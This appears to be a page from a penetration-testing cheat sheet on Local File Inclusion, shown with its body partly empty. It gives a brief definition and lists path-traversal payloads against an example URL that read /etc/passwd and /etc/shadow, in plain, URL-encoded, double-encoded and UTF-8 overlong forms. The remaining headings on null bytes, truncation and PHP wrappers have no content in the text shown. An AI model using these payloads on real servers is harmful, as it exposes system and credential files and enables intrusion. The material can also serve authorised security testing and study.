Local File Inclusion
Local File Inclusion (LFI)
Introduction
Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server
Where to find
Any endpoint that includes a file from a web server. For example,
/index.php?page=index.html
How to exploit
Basic payload
http://example.com/index.php?page=../../../etc/passwd
http://example.com/index.php?page=../../../../../../../../../../../../etc/shadowURL encoding
http://example.com/index.php?page=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswdDouble encoding
http://example.com/index.php?page=%252e%252e%252f%252e%252e%252fetc%252fpasswdUTF-8 encoding
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwdUsing Null Byte (%00)
From an existent folder
Path truncation
Using PHP Wrappers: filter
Using PHP Wrappers: zlib
Using PHP Wrappers: zip
Using PHP Wrappers: data
Using PHP Wrappers: expect
Using PHP Wrappers: input
Some unique bypass
References
Last updated